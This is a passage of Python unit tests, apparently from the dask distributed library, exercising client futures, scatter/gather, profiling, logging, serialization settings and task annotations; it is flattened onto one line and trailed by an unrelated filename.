c.compute(ddf2) assert_eq(df, df2) def test_serialize_collections_of_futures_sync(c): pd = pytest.importorskip("pandas") dd = pytest.importorskip("dask.dataframe") from dask.dataframe.utils import assert_eq df = pd.DataFrame({"x": [1, 2, 3]}) ddf = dd.from_pandas(df, npartitions=2).persist() future = c.scatter(ddf) result = future.result() assert_eq(result.compute(), df) assert future.type == dd.DataFrame assert c.submit(lambda x, y: assert_eq(x.compute(), y), future, df).result() def _dynamic_workload(x, delay=0.01): if delay == "random": sleep(random.random() / 2) else: sleep(delay) if x > 4: return 4 secede() client = get_client() futures = client.map( _dynamic_workload, [x + i + 1 for i in range(2)], pure=False, delay=delay ) total = client.submit(sum, futures) return total.result() def _test_dynamic_workloads_sync(c, delay): future = c.submit(_dynamic_workload, 0, delay=delay) assert future.result(timeout=40) == 52 def test_dynamic_workloads_sync(c): _test_dynamic_workloads_sync(c, delay=0.02) @pytest.mark.slow def test_dynamic_workloads_sync_random(c): _test_dynamic_workloads_sync(c, delay="random") @gen_cluster(client=True) async def test_bytes_keys(c, s, a, b): key = b"inc-123" future = c.submit(inc, 1, key=key) result = await future assert type(future.key) is bytes assert set(s.tasks) == {key} assert key in a.data or key in b.data assert result == 2 @gen_cluster(client=True) async def test_unicode_ascii_keys(c, s, a, b): uni_type = type("") key = "inc-123" future = c.submit(inc, 1, key=key) result = await future assert type(future.key) is uni_type assert set(s.tasks) == {key} assert key in a.data or key in b.data assert result == 2 @gen_cluster(client=True) async def test_unicode_keys(c, s, a, b): uni_type = type("") key = "inc-123\u03bc" future = c.submit(inc, 1, key=key) result = await future assert type(future.key) is uni_type assert set(s.tasks) == {key} assert key in a.data or key in b.data assert result == 2 future2 = c.submit(inc, future) result2 = await future2 assert result2 == 3 future3 = await c.scatter({"data-123": 123}) result3 = await future3["data-123"] assert result3 == 123 def test_use_synchronous_client_in_async_context(loop, c): async def f(): x = await c.scatter(123) y = c.submit(inc, x) z = await c.gather(y) return z z = sync(loop, f) assert z == 124 def test_quiet_quit_when_cluster_leaves(loop_in_thread): loop = loop_in_thread with LocalCluster( loop=loop, scheduler_port=0, dashboard_address=None, silence_logs=False ) as cluster: with captured_logger("distributed.comm") as sio: with Client(cluster, loop=loop) as client: futures = client.map(lambda x: x + 1, range(10)) sleep(0.05) cluster.close() sleep(0.05) text = sio.getvalue() assert not text def test_warn_executor(loop, s, a, b): with warnings.catch_warnings(record=True) as record: with Executor(s["address"], loop=loop) as c: pass assert any("Client" in str(r.message) for r in record) @gen_cluster([("127.0.0.1", 4)] * 2, client=True) async def test_call_stack_future(c, s, a, b): x = c.submit(slowdec, 1, delay=0.5) future = c.submit(slowinc, 1, delay=0.5) await asyncio.sleep(0.1) results = await asyncio.gather( c.call_stack(future), c.call_stack(keys=[future.key]) ) assert all(list(first(result.values())) == [future.key] for result in results) assert results[0] == results[1] result = results[0] ts = a.tasks.get(future.key) if ts is not None and ts.state == "executing": w = a else: w = b assert list(result) == [w.address] assert list(result[w.address]) == [future.key] assert "slowinc" in str(result) assert "slowdec" not in str(result) @gen_cluster([("127.0.0.1", 4)] * 2, client=True) async def test_call_stack_all(c, s, a, b): future = c.submit(slowinc, 1, delay=0.8) while not a.executing_count and not b.executing_count: await asyncio.sleep(0.01) result = await c.call_stack() w = a if a.executing_count else b assert list(result) == [w.address] assert list(result[w.address]) == [future.key] assert "slowinc" in str(result) @gen_cluster([("127.0.0.1", 4)] * 2, client=True) async def test_call_stack_collections(c, s, a, b): da = pytest.importorskip("dask.array") x = da.random.random(100, chunks=(10,)).map_blocks(slowinc, delay=0.5).persist() while not a.executing_count and not b.executing_count: await asyncio.sleep(0.001) result = await c.call_stack(x) assert result @gen_cluster([("127.0.0.1", 4)] * 2, client=True) async def test_call_stack_collections_all(c, s, a, b): da = pytest.importorskip("dask.array") x = da.random.random(100, chunks=(10,)).map_blocks(slowinc, delay=0.5).persist() while not a.executing_count and not b.executing_count: await asyncio.sleep(0.001) result = await c.call_stack() assert result @gen_cluster(client=True, worker_kwargs={"profile_cycle_interval": "100ms"}) async def test_profile(c, s, a, b): futures = c.map(slowinc, range(10), delay=0.05, workers=a.address) await wait(futures) x = await c.profile(start=time() + 10, stop=time() + 20) assert not x["count"] x = await c.profile(start=0, stop=time()) assert ( x["count"] == sum(p["count"] for _, p in a.profile_history) + a.profile_recent["count"] ) y = await c.profile(start=time() - 0.300, stop=time()) assert 0 < y["count"] < x["count"] assert not any(p["count"] for _, p in b.profile_history) result = await c.profile(workers=b.address) assert not result["count"] @gen_cluster(client=True, worker_kwargs={"profile_cycle_interval": "100ms"}) async def test_profile_keys(c, s, a, b): x = c.map(slowinc, range(10), delay=0.05, workers=a.address) y = c.map(slowdec, range(10), delay=0.05, workers=a.address) await wait(x + y) xp = await c.profile("slowinc") yp = await c.profile("slowdec") p = await c.profile() assert p["count"] == xp["count"] + yp["count"] with captured_logger(logging.getLogger("distributed")) as logger: prof = await c.profile("does-not-exist") assert prof == profile.create() out = logger.getvalue() assert not out @gen_cluster() async def test_client_with_name(s, a, b): with captured_logger("distributed.scheduler") as sio: client = await Client(s.address, asynchronous=True, name="foo") assert "foo" in client.id await client.close() text = sio.getvalue() assert "foo" in text @gen_cluster(client=True) async def test_future_defaults_to_default_client(c, s, a, b): x = c.submit(inc, 1) await wait(x) future = Future(x.key) assert future.client is c @gen_cluster(client=True) async def test_future_auto_inform(c, s, a, b): x = c.submit(inc, 1) await wait(x) client = await Client(s.address, asynchronous=True) future = Future(x.key, client) start = time() while future.status != "finished": await asyncio.sleep(0.01) assert time() < start + 1 await client.close() def test_client_async_before_loop_starts(): with pristine_loop() as loop: client = Client(asynchronous=True, loop=loop) assert client.asynchronous client.close() @pytest.mark.slow @gen_cluster(client=True, Worker=Nanny, timeout=60, nthreads=[("127.0.0.1", 3)] * 2) async def test_nested_compute(c, s, a, b): def fib(x): assert get_worker().get_current_task() if x < 2: return x a = delayed(fib)(x - 1) b = delayed(fib)(x - 2) c = a + b return c.compute() future = c.submit(fib, 8) result = await future assert result == 21 assert len(s.transition_log) > 50 @gen_cluster(client=True) async def test_task_metadata(c, s, a, b): await c.set_metadata("x", 1) result = await c.get_metadata("x") assert result == 1 future = c.submit(inc, 1) key = future.key await wait(future) await c.set_metadata(key, 123) result = await c.get_metadata(key) assert result == 123 del future while key in s.tasks: await asyncio.sleep(0.01) with pytest.raises(KeyError): await c.get_metadata(key) result = await c.get_metadata(key, None) assert result is None await c.set_metadata(["x", "a"], 1) result = await c.get_metadata("x") assert result == {"a": 1} await c.set_metadata(["x", "b"], 2) result = await c.get_metadata("x") assert result == {"a": 1, "b": 2} result = await c.get_metadata(["x", "a"]) assert result == 1 await c.set_metadata(["x", "a", "c", "d"], 1) result = await c.get_metadata("x") assert result == {"a": {"c": {"d": 1}}, "b": 2} @gen_cluster(client=True, Worker=Nanny) async def test_logs(c, s, a, b): await wait(c.map(inc, range(5))) logs = await c.get_scheduler_logs(n=5) assert logs for _, msg in logs: assert "distributed.scheduler" in msg w_logs = await c.get_worker_logs(n=5) assert set(w_logs.keys()) == {a.worker_address, b.worker_address} for log in w_logs.values(): for _, msg in log: assert "distributed.worker" in msg n_logs = await c.get_worker_logs(nanny=True) assert set(n_logs.keys()) == {a.worker_address, b.worker_address} for log in n_logs.values(): for _, msg in log: assert "distributed.nanny" in msg n_logs = await c.get_worker_logs(nanny=True, workers=[a.worker_address]) assert set(n_logs.keys()) == {a.worker_address} for log in n_logs.values(): for _, msg in log: assert "distributed.nanny" in msg @gen_cluster(client=True) async def test_avoid_delayed_finalize(c, s, a, b): x = delayed(inc)(1) future = c.compute(x) result = await future assert result == 2 assert list(s.tasks) == [future.key] == [x.key] @gen_cluster() async def test_config_scheduler_address(s, a, b): with dask.config.set({"scheduler-address": s.address}): with captured_logger("distributed.client") as sio: c = await Client(asynchronous=True) assert c.scheduler.address == s.address text = sio.getvalue() assert s.address in text await c.close() @gen_cluster(client=True) async def test_warn_when_submitting_large_values(c, s, a, b): with warnings.catch_warnings(record=True) as record: future = c.submit(lambda x: x + 1, b"0" * 2000000) text = str(record[0].message) assert "2.00 MB" in text assert "large" in text assert "..." in text assert "'000" in text assert "000'" in text assert len(text) < 2000 with warnings.catch_warnings(record=True) as record: data = b"0" * 2000000 for i in range(10): future = c.submit(lambda x, y: x, data, i) assert len(record) < 2 @gen_cluster() async def test_scatter_direct(s, a, b): c = await Client(s.address, asynchronous=True, heartbeat_interval=10) last = s.clients[c.id].last_seen start = time() while s.clients[c.id].last_seen == last: await asyncio.sleep(0.10) assert time() < start + 5 await c.close() @gen_cluster(client=True) async def test_unhashable_function(c, s, a, b): d = {"a": 1} result = await c.submit(d.get, "a") assert result == 1 @gen_cluster() async def test_client_name(s, a, b): with dask.config.set({"client-name": "hello-world"}): c = await Client(s.address, asynchronous=True) assert any("hello-world" in name for name in list(s.clients)) await c.close() def test_client_doesnt_close_given_loop(loop_in_thread, s, a, b): with Client(s["address"], loop=loop_in_thread) as c: assert c.submit(inc, 1).result() == 2 with Client(s["address"], loop=loop_in_thread) as c: assert c.submit(inc, 2).result() == 3 @gen_cluster(client=True, nthreads=[]) async def test_quiet_scheduler_loss(c, s): c._periodic_callbacks["scheduler-info"].interval = 10 with captured_logger(logging.getLogger("distributed.client")) as logger: await s.close() await c._update_scheduler_info() text = logger.getvalue() assert "BrokenPipeError" not in text def test_dashboard_link(loop, monkeypatch): monkeypatch.setenv("USER", "myusername") with cluster(scheduler_kwargs={"dashboard_address": ":12355"}) as (s, [a, b]): with Client(s["address"], loop=loop) as c: with dask.config.set( {"distributed.dashboard.link": "{scheme}://foo-{USER}:{port}/status"} ): link = "http://foo-myusername:12355/status" assert link == c.dashboard_link text = c._repr_html_() assert link in text @pytest.mark.asyncio async def test_dashboard_link_inproc(cleanup): async with Client(processes=False, asynchronous=True) as c: with dask.config.set({"distributed.dashboard.link": "{host}"}): assert "/" not in c.dashboard_link @gen_test() async def test_client_timeout_2(): with dask.config.set({"distributed.comm.timeouts.connect": "10ms"}): start = time() c = Client("127.0.0.1:3755", asynchronous=True) with pytest.raises((TimeoutError, IOError)): await c stop = time() assert c.status == "closed" await c.close() assert stop - start < 1 @gen_test() async def test_client_active_bad_port(): import tornado.web import tornado.httpserver application = tornado.web.Application([(r"/", tornado.web.RequestHandler)]) http_server = tornado.httpserver.HTTPServer(application) http_server.listen(8080) with dask.config.set({"distributed.comm.timeouts.connect": "10ms"}): c = Client("127.0.0.1:8080", asynchronous=True) with pytest.raises((TimeoutError, IOError)): await c await c._close(fast=True) http_server.stop() @pytest.mark.parametrize("direct", [True, False]) def test_turn_off_pickle(direct): @gen_cluster() async def test(s, a, b): import numpy as np async with Client( s.address, asynchronous=True, serializers=["dask", "msgpack"] ) as c: assert (await c.submit(inc, 1)) == 2 await c.submit(np.ones, 5) await c.scatter(1) # Can't send complex data with pytest.raises(TypeError): future = await c.scatter(inc) # can send complex tasks (this uses pickle regardless) future = c.submit(lambda x: x, inc) await wait(future) # but can't receive complex results with pytest.raises(TypeError): await c.gather(future, direct=direct) # Run works result = await c.run(lambda: 1) assert list(result.values()) == [1, 1] result = await c.run_on_scheduler(lambda: 1) assert result == 1 # But not with complex return values with pytest.raises(TypeError): await c.run(lambda: inc) with pytest.raises(TypeError): await c.run_on_scheduler(lambda: inc) test() @gen_cluster() async def test_de_serialization(s, a, b): import numpy as np c = await Client( s.address, asynchronous=True, serializers=["msgpack", "pickle"], deserializers=["msgpack"], ) try: # Can send complex data future = await c.scatter(np.ones(5)) # But can not retrieve it with pytest.raises(TypeError): result = await future finally: await c.close() @gen_cluster() async def test_de_serialization_none(s, a, b): import numpy as np c = await Client(s.address, asynchronous=True, deserializers=["msgpack"]) try: # Can send complex data future = await c.scatter(np.ones(5)) # But can not retrieve it with pytest.raises(TypeError): result = await future finally: await c.close() @gen_cluster() async def test_client_repr_closed(s, a, b): c = await Client(s.address, asynchronous=True) await c.close() c._repr_html_() def test_client_repr_closed_sync(loop): with Client(loop=loop, processes=False, dashboard_address=None) as c: c.close() c._repr_html_() @pytest.mark.xfail(reason="https://github.com/dask/dask/pull/6807") @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)]) async def test_nested_prioritization(c, s, w): x = delayed(inc)(1, dask_key_name=("a", 2)) y = delayed(inc)(2, dask_key_name=("a", 10)) o = dask.order.order(merge(x.__dask_graph__(), y.__dask_graph__())) fx, fy = c.compute([x, y]) await wait([fx, fy]) assert (o[x.key] < o[y.key]) == ( s.tasks[stringify(fx.key)].priority < s.tasks[stringify(fy.key)].priority ) @gen_cluster(client=True) async def test_scatter_error_cancel(c, s, a, b): # https://github.com/dask/distributed/issues/2038 def bad_fn(x): raise Exception("lol") x = await c.scatter(1) y = c.submit(bad_fn, x) del x await wait(y) assert y.status == "error" await asyncio.sleep(0.1) assert y.status == "error" # not cancelled def test_no_threads_lingering(): active = dict(threading._active) assert threading.active_count() < 40, list(active.values()) @gen_cluster() async def test_direct_async(s, a, b): c = await Client(s.address, asynchronous=True, direct_to_workers=True) assert c.direct_to_workers await c.close() c = await Client(s.address, asynchronous=True, direct_to_workers=False) assert not c.direct_to_workers await c.close() def test_direct_sync(c): assert not c.direct_to_workers def f(): return get_client().direct_to_workers assert c.submit(f).result() @gen_cluster() async def test_mixing_clients(s, a, b): c1 = await Client(s.address, asynchronous=True) c2 = await Client(s.address, asynchronous=True) future = c1.submit(inc, 1) with pytest.raises(ValueError): c2.submit(inc, future) assert not c2.futures # Don't create Futures on second Client await c1.close() await c2.close() @gen_cluster(client=True) async def test_tuple_keys(c, s, a, b): x = dask.delayed(inc)(1, dask_key_name=("x", 1)) y = dask.delayed(inc)(x, dask_key_name=("y", 1)) future = c.compute(y) assert (await future) == 3 @gen_cluster(client=True) async def test_multiple_scatter(c, s, a, b): futures = await asyncio.gather(*[c.scatter(1, direct=True) for _ in range(5)]) x = await futures[0] x = await futures[0] @gen_cluster(client=True) async def test_map_large_kwargs_in_graph(c, s, a, b): np = pytest.importorskip("numpy") x = np.random.random(100000) futures = c.map(lambda a, b: a + b, range(100), b=x) while not s.tasks: await asyncio.sleep(0.01) assert len(s.tasks) == 101 assert any(k.startswith("ndarray") for k in s.tasks) @gen_cluster(client=True) async def test_retry(c, s, a, b): def f(): assert dask.config.get("foo") with dask.config.set(foo=False): future = c.submit(f) with pytest.raises(AssertionError): await future with dask.config.set(foo=True): await future.retry() await future @gen_cluster(client=True) async def test_retry_dependencies(c, s, a, b): def f(): return dask.config.get("foo") x = c.submit(f) y = c.submit(inc, x) with pytest.raises(KeyError): await y with dask.config.set(foo=100): await y.retry() result = await y assert result == 101 await y.retry() await x.retry() result = await y assert result == 101 @gen_cluster(client=True) async def test_released_dependencies(c, s, a, b): def f(x): return dask.config.get("foo") + 1 x = c.submit(inc, 1, key="x") y = c.submit(f, x, key="y") del x with pytest.raises(KeyError): await y with dask.config.set(foo=100): await y.retry() result = await y assert result == 101 @gen_cluster(client=True, clean_kwargs={"threads": False}) async def test_profile_bokeh(c, s, a, b): pytest.importorskip("bokeh.plotting") from bokeh.model import Model await c.gather(c.map(slowinc, range(10), delay=0.2)) state, figure = await c.profile(plot=True) assert isinstance(figure, Model) with tmpfile("html") as fn: try: await c.profile(filename=fn) except PermissionError: if WINDOWS: pytest.xfail() assert os.path.exists(fn) @gen_cluster(client=True) async def test_get_mix_futures_and_SubgraphCallable(c, s, a, b): future = c.submit(add, 1, 2) subgraph = SubgraphCallable( {"_2": (add, "_0", "_1"), "_3": (add, future, "_2")}, "_3", ("_0", "_1") ) dsk = {"a": 1, "b": 2, "c": (subgraph, "a", "b"), "d": (subgraph, "c", "b")} future2 = c.get(dsk, "d", sync=False) result = await future2 assert result == 11 # Nested subgraphs subgraph2 = SubgraphCallable( { "_2": (subgraph, "_0", "_1"), "_3": (subgraph, "_2", "_1"), "_4": (add, "_3", future2), }, "_4", ("_0", "_1"), ) dsk2 = {"e": 1, "f": 2, "g": (subgraph2, "e", "f")} result = await c.get(dsk2, "g", sync=False) assert result == 22 @gen_cluster(client=True) async def test_get_mix_futures_and_SubgraphCallable_dask_dataframe(c, s, a, b): dd = pytest.importorskip("dask.dataframe") import pandas as pd df = pd.DataFrame({"x": range(1, 11)}) ddf = dd.from_pandas(df, npartitions=2).persist() ddf = ddf.map_partitions(lambda x: x) ddf["x"] = ddf["x"].astype("f8") ddf = ddf.map_partitions(lambda x: x) ddf["x"] = ddf["x"].astype("f8") result = await c.compute(ddf) assert result.equals(df.astype("f8")) def test_direct_to_workers(s, loop): with Client(s["address"], loop=loop, direct_to_workers=True) as client: future = client.scatter(1) future.result() resp = client.run_on_scheduler(lambda dask_scheduler: dask_scheduler.events) assert "gather" not in str(resp) @gen_cluster(client=True) async def test_instances(c, s, a, b): assert list(Client._instances) == [c] assert list(Scheduler._instances) == [s] assert set(Worker._instances) == {a, b} @gen_cluster(client=True) async def test_wait_for_workers(c, s, a, b): future = asyncio.ensure_future(c.wait_for_workers(n_workers=3)) await asyncio.sleep(0.22) # 2 chances assert not future.done() w = await Worker(s.address) start = time() await future assert time() < start + 1 await w.close() with pytest.raises(TimeoutError) as info: await c.wait_for_workers(n_workers=10, timeout="1 ms") assert "2/10" in str(info.value).replace(" ", "") assert "1 ms" in str(info.value) @pytest.mark.skipif(WINDOWS, reason="num_fds not supported on windows") @pytest.mark.asyncio @pytest.mark.parametrize("Worker", [Worker, Nanny]) async def test_file_descriptors_dont_leak(Worker): pytest.importorskip("pandas") df = dask.datasets.timeseries(freq="10s", dtypes={"x": int, "y": float}) proc = psutil.Process() start = proc.num_fds() async with Scheduler(port=0, dashboard_address=":0") as s: async with Worker(s.address, nthreads=2) as a, Worker( s.address, nthreads=2 ) as b: async with Client(s.address, asynchronous=True) as c: await df.sum().persist() begin = time() while proc.num_fds() > begin: await asyncio.sleep(0.01) assert time() < begin + 5, (start, proc.num_fds()) @pytest.mark.asyncio async def test_dashboard_link_cluster(cleanup): class MyCluster(LocalCluster): @property def dashboard_link(self): return "http://foo.com" async with MyCluster(processes=False, asynchronous=True) as cluster: async with Client(cluster, asynchronous=True) as client: assert "http://foo.com" in client._repr_html_() @pytest.mark.asyncio async def test_shutdown(cleanup): async with Scheduler(port=0) as s: async with Worker(s.address) as w: async with Client(s.address, asynchronous=True) as c: await c.shutdown() assert s.status == Status.closed assert w.status == Status.closed @pytest.mark.asyncio async def test_shutdown_localcluster(cleanup): async with LocalCluster(n_workers=1, asynchronous=True, processes=False) as lc: async with Client(lc, asynchronous=True) as c: await c.shutdown() assert lc.scheduler.status == Status.closed @pytest.mark.asyncio async def test_config_inherited_by_subprocess(cleanup): def f(x): return dask.config.get("foo") + 1 with dask.config.set(foo=100): async with LocalCluster(n_workers=1, asynchronous=True, processes=True) as lc: async with Client(lc, asynchronous=True) as c: result = await c.submit(f, 1) assert result == 101 @gen_cluster(client=True) async def test_futures_of_sorted(c, s, a, b): pytest.importorskip("dask.dataframe") df = await dask.datasets.timeseries(dtypes={"x": int}).persist() futures = futures_of(df) for k, f in zip(df.__dask_keys__(), futures): assert str(k) in str(f) @gen_cluster(client=True, worker_kwargs={"profile_cycle_interval": "10ms"}) async def test_profile_server(c, s, a, b): for i in range(5): try: x = c.map(slowinc, range(10), delay=0.01, workers=a.address, pure=False) await wait(x) await asyncio.gather( c.run(slowinc, 1, delay=0.5), c.run_on_scheduler(slowdec, 1, delay=0.5) ) p = await c.profile(server=True) # All worker servers assert "slowinc" in str(p) p = await c.profile(scheduler=True) # Scheduler assert "slowdec" in str(p) except AssertionError: if i == 4: raise else: pass else: break @gen_cluster(client=True) async def test_await_future(c, s, a, b): future = c.submit(inc, 1) async def f(): # flake8: noqa result = await future assert result == 2 await f() future = c.submit(div, 1, 0) async def f(): with pytest.raises(ZeroDivisionError): await future await f() @gen_cluster(client=True) async def test_as_completed_async_for(c, s, a, b): futures = c.map(inc, range(10)) ac = as_completed(futures) results = [] async def f(): async for future in ac: result = await future results.append(result) await f() assert set(results) == set(range(1, 11)) @gen_cluster(client=True) async def test_as_completed_async_for_results(c, s, a, b): futures = c.map(inc, range(10)) ac = as_completed(futures, with_results=True) results = [] async def f(): async for future, result in ac: results.append(result) await f() assert set(results) == set(range(1, 11)) assert not s.counters["op"].components[0]["gather"] @gen_cluster(client=True) async def test_as_completed_async_for_cancel(c, s, a, b): x = c.submit(inc, 1) y = c.submit(sleep, 0.3) ac = as_completed([x, y]) async def _(): await asyncio.sleep(0.1) await y.cancel(asynchronous=True) c.loop.add_callback(_) L = [] async def f(): async for future in ac: L.append(future) await f() assert L == [x, y] def test_async_with(loop): result = None client = None cluster = None async def f(): async with Client(processes=False, asynchronous=True) as c: nonlocal result, client, cluster result = await c.submit(lambda x: x + 1, 10) client = c cluster = c.cluster loop.run_sync(f) assert result == 11 assert client.status == "closed" assert cluster.status == Status.closed def test_client_sync_with_async_def(loop): async def ff(): await asyncio.sleep(0.01) return 1 with cluster() as (s, [a, b]): with Client(s["address"], loop=loop) as c: assert sync(loop, ff) == 1 assert c.sync(ff) == 1 @pytest.mark.skip(reason="known intermittent failure") @gen_cluster(client=True) async def test_dont_hold_on_to_large_messages(c, s, a, b): np = pytest.importorskip("numpy") da = pytest.importorskip("dask.array") x = np.random.random(1000000) xr = weakref.ref(x) d = da.from_array(x, chunks=(100000,)) d = d.persist() del x start = time() while xr() is not None: if time() > start + 5: # Help diagnosing from types import FrameType x = xr() if x is not None: del x rc = sys.getrefcount(xr()) refs = gc.get_referrers(xr()) print("refs to x:", rc, refs, gc.isenabled()) frames = [r for r in refs if isinstance(r, FrameType)] for i, f in enumerate(frames): print( "frames #%d:" % i, f.f_code.co_name, f.f_code.co_filename, sorted(f.f_locals), ) pytest.fail("array should have been destroyed") await asyncio.sleep(0.200) @gen_cluster(client=True) async def test_run_scheduler_async_def(c, s, a, b): async def f(dask_scheduler): await asyncio.sleep(0.01) dask_scheduler.foo = "bar" await c.run_on_scheduler(f) assert s.foo == "bar" async def f(dask_worker): await asyncio.sleep(0.01) dask_worker.foo = "bar" await c.run(f) assert a.foo == "bar" assert b.foo == "bar" @gen_cluster(client=True) async def test_run_scheduler_async_def_wait(c, s, a, b): async def f(dask_scheduler): await asyncio.sleep(0.01) dask_scheduler.foo = "bar" await c.run_on_scheduler(f, wait=False) while not hasattr(s, "foo"): await asyncio.sleep(0.01) assert s.foo == "bar" async def f(dask_worker): await asyncio.sleep(0.01) dask_worker.foo = "bar" await c.run(f, wait=False) while not hasattr(a, "foo") or not hasattr(b, "foo"): await asyncio.sleep(0.01) assert a.foo == "bar" assert b.foo == "bar" @gen_cluster(client=True, nthreads=[("127.0.0.1", 2)] * 2) async def test_performance_report(c, s, a, b): pytest.importorskip("bokeh") da = pytest.importorskip("dask.array") async def f(): """ We wrap this in a function so that the assertions aren't in the performanace report itself Also, we want this comment to appear """ x = da.random.random((1000, 1000), chunks=(100, 100)) with tmpfile(extension="html") as fn: async with performance_report(filename=fn): await c.compute((x + x.T).sum()) with open(fn) as f: data = f.read() return data data = await f() assert "Also, we want this comment to appear" in data assert "bokeh" in data assert "random" in data assert "Dask Performance Report" in data assert "x = da.random" in data assert "Threads: 4" in data assert dask.__version__ in data @pytest.mark.asyncio async def test_client_gather_semaphore_loop(cleanup): async with Scheduler(port=0) as s: async with Client(s.address, asynchronous=True) as c: assert c._gather_semaphore._loop is c.loop.asyncio_loop @gen_cluster(client=True) async def test_as_completed_condition_loop(c, s, a, b): seq = c.map(inc, range(5)) ac = as_completed(seq) assert ac.condition._loop == c.loop.asyncio_loop def test_client_connectionpool_semaphore_loop(s, a, b): with Client(s["address"]) as c: assert c.rpc.semaphore._loop is c.loop.asyncio_loop @pytest.mark.slow @pytest.mark.asyncio async def test_mixed_compression(cleanup): pytest.importorskip("lz4") da = pytest.importorskip("dask.array") async with Scheduler(port=0, dashboard_address=":0") as s: async with Nanny( s.address, nthreads=1, config={"distributed.comm.compression": None} ) as a: async with Nanny( s.address, nthreads=1, config={"distributed.comm.compression": "lz4"} ) as b: async with Client(s.address, asynchronous=True) as c: await c.get_versions() x = da.ones((10000, 10000)) y = x + x.T await c.compute(y.sum()) @gen_cluster(client=True) async def test_futures_in_subgraphs(c, s, a, b): """Regression test of <https://github.com/dask/distributed/issues/4145>""" dd = pytest.importorskip("dask.dataframe") import pandas as pd ddf = dd.from_pandas( pd.DataFrame( dict( uid=range(50), enter_time=pd.date_range( start="2020-01-01", end="2020-09-01", periods=50, tz="UTC" ), ) ), npartitions=5, ) ddf = ddf[ddf.uid.isin(range(29))].persist() ddf["local_time"] = ddf.enter_time.dt.tz_convert("US/Central") ddf["day"] = ddf.enter_time.dt.day_name() ddf = await c.submit(dd.categorical.categorize, ddf, columns=["day"], index=False) @gen_cluster(client=True) async def test_get_task_metadata(c, s, a, b): # Populate task metadata await c.register_worker_plugin(TaskStateMetadataPlugin()) async with get_task_metadata() as tasks: f = c.submit(slowinc, 1) await f metadata = tasks.metadata assert f.key in metadata assert metadata[f.key] == s.tasks.get(f.key).metadata state = tasks.state assert f.key in state assert state[f.key] == "memory" assert not any(isinstance(p, CollectTaskMetaDataPlugin) for p in s.plugins) @gen_cluster(client=True) async def test_get_task_metadata_multiple(c, s, a, b): # Populate task metadata await c.register_worker_plugin(TaskStateMetadataPlugin()) # Ensure that get_task_metadata only collects metadata for # tasks which are submitted and completed within its context async with get_task_metadata() as tasks1: f1 = c.submit(slowinc, 1) await f1 async with get_task_metadata() as tasks2: f2 = c.submit(slowinc, 2) await f2 metadata1 = tasks1.metadata metadata2 = tasks2.metadata assert len(metadata1) == 2 assert sorted(metadata1.keys()) == sorted([f1.key, f2.key]) assert metadata1[f1.key] == s.tasks.get(f1.key).metadata assert metadata1[f2.key] == s.tasks.get(f2.key).metadata assert len(metadata2) == 1 assert list(metadata2.keys()) == [f2.key] assert metadata2[f2.key] == s.tasks.get(f2.key).metadata @gen_cluster(client=True) async def test_log_event(c, s, a, b): # Log an event from inside a task def foo(): get_worker().log_event("topic1", {"foo": "bar"}) assert not await c.get_events("topic1") await c.submit(foo) events = await c.get_events("topic1") assert len(events) == 1 assert events[0][1] == {"foo": "bar"} # Log an event while on the scheduler def log_scheduler(dask_scheduler): dask_scheduler.log_event("topic2", {"woo": "hoo"}) await c.run_on_scheduler(log_scheduler) events = await c.get_events("topic2") assert len(events) == 1 assert events[0][1] == {"woo": "hoo"} # Log an event from the client process await c.log_event("topic2", ("alice", "bob")) events = await c.get_events("topic2") assert len(events) == 2 assert events[1][1] == ("alice", "bob") @gen_cluster(client=True) async def test_annotations_task_state(c, s, a, b): da = pytest.importorskip("dask.array") with dask.annotate(qux="bar", priority=100): x = da.ones(10, chunks=(5,)) with dask.config.set(optimization__fuse__active=False): x = await x.persist() assert all( {"qux": "bar", "priority": 100} == ts.annotations for ts in s.tasks.values() ) @gen_cluster(client=True) async def test_annotations_priorities(c, s, a, b): da = pytest.importorskip("dask.array") with dask.annotate(priority=15): x = da.ones(10, chunks=(5,)) with dask.config.set(optimization__fuse__active=False): x = await x.persist() assert all("15" in str(ts.priority) for ts in s.tasks.values()) assert all(ts.priority[0] == -15 for ts in s.tasks.values()) assert all({"priority": 15} == ts.annotations for ts in s.tasks.values()) @gen_cluster(client=True) async def test_annotations_workers(c, s, a, b): da = pytest.importorskip("dask.array") with dask.annotate(workers=[a.address]): x = da.ones(10, chunks=(5,)) with dask.config.set(optimization__fuse__active=False): x = await x.persist() assert all({"workers": (a.address,)} == ts.annotations for ts in s.tasks.values()) assert all({a.address} == ts.worker_restrictions for ts in s.tasks.values()) assert a.data assert not b.data @gen_cluster(client=True) async def test_annotations_retries(c, s, a, b): da = pytest.importorskip("dask.array") with dask.annotate(retries=2): x = da.ones(10, chunks=(5,)) with dask.config.set(optimization__fuse__active=False): x = await x.persist() assert all(ts.retries == 2 for ts in s.tasks.values()) assert all(ts.annotations == {"retries": 2} for ts in s.tasks.values()) @gen_cluster( client=True, nthreads=[ ("127.0.0.1", 1), ("127.0.0.1", 1, {"resources": {"GPU": 1}}), ], ) async def test_annotations_resources(c, s, a, b): da = pytest.importorskip("dask.array") with dask.annotate(resources={"GPU": 1}): x = da.ones(10, chunks=(5,)) with dask.config.set(optimization__fuse__active=False): x = await x.persist() assert all([{"GPU": 1} == ts.resource_restrictions for ts in s.tasks.values()]) assert all([{"resources": {"GPU": 1}} == ts.annotations for ts in s.tasks.values()]) @gen_cluster(client=True) async def test_annotations_loose_restrictions(c, s, a, b): da = pytest.importorskip("dask.array") # Eventually fails if allow_other_workers=False with dask.annotate(workers=["fake"], allow_other_workers=True): x = da.ones(10, chunks=(5,)) with dask.config.set(optimization__fuse__active=False): x = await x.persist() assert all(not ts.worker_restrictions for ts in s.tasks.values()) assert all({"fake"} == ts.host_restrictions for ts in s.tasks.values()) assert all( [ {"workers": ("fake",), "allow_other_workers": True} == ts.annotations for ts in s.tasks.values() ] )
test_icdar2015_base.py
